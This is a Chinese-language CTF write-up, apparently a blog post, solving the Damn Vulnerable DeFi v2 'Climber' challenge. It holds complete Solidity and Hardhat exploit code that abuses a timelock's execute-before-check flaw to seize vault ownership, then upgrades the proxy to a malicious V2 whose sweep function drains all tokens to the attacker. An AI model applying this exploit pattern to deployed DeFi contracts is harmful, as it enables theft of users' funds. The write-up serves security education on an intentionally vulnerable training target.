这段代码违反了 check-effect-action 规则:总是先检查条件,然后设置效果,然后执行逻辑。在这里,我们先执行逻辑,然后检查条件并设置效果。

  • 授予 PROPOSER_ROLE 身份给攻击合约(以便攻击合约可以从这里调用该函数 schedule
  • 转移金库所有权给攻击者
  • 在攻击合约中,我们安排动作序列 grantRole,transferOwnership,schedule
  • 准备合约 ClimberVaultV2 ,移除条件 onlySweeper ,内部转账给攻击者。
  • 使用 upgrades.upgradeProxy 升级合约

参考

Using Proxies with Hardhat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pragma solidity ^0.8.0;

import "./ClimberVault.sol";
import "./ClimberTimelock.sol";

contract ClimberAttacker {
ClimberVault public immutable vault;
address payable timelock;

address[] public targets;
uint256[] public values;
bytes[] public dataElements;

constructor(address _vault, address payable _timelock) {
vault = ClimberVault(_vault);
timelock = _timelock;
}

function attack(address attacker) external {
targets.push(timelock);
targets.push(address(vault));
targets.push(address(this));
values.push(0);
values.push(0);
values.push(0);

bytes memory data0 = abi.encodeWithSignature(
"grantRole(bytes32,address)",
keccak256("PROPOSER_ROLE"),
address(this)
);

bytes memory data1 = abi.encodeWithSignature(
"transferOwnership(address)",
attacker
);

bytes memory data2 = abi.encodeWithSignature("schedule()");

dataElements.push(data0);
dataElements.push(data1);
dataElements.push(data2);

ClimberTimelock(timelock).execute(targets, values, dataElements, keccak256("salt"));
}

function schedule() external {
ClimberTimelock(timelock).schedule(targets, values, dataElements, keccak256("salt"));
}
}

准备 ClimberVaultV2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./ClimberTimelock.sol";

/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVaultV2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {

...

// Allows trusted sweeper account to retrieve any tokens
function sweepFundsV2(address tokenAddress) external {
IERC20 token = IERC20(tokenAddress);
require(token.transfer(tx.origin, token.balanceOf(address(this))), "Transfer failed");
}

...

function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
it('Exploit', async function () {        
/** CODE YOUR EXPLOIT HERE */
//将 CimberVault 的所有者更改为攻击者
const Attack = await (await ethers.getContractFactory('ClimberAttacker', attacker)).deploy(
this.vault.address, this.timelock.address
);
await Attack.connect(attacker).attack(attacker.address);
//升级合约
const vaultV2 = await ethers.getContractFactory('ClimberVaultV2',attacker);
const attacker_vault = await upgrades.upgradeProxy(this.vault.address, vaultV2);
//耗尽所有代币
await attacker_vault.connect(attacker).sweepFundsV2(this.token.address);
});

Writeup | Damn vulnerable defi v2
http://sissice.github.io/2022/04/16/Damn vulnerable defi v2 wp/
作者
Sissice
发布于
2022年4月16日
许可协议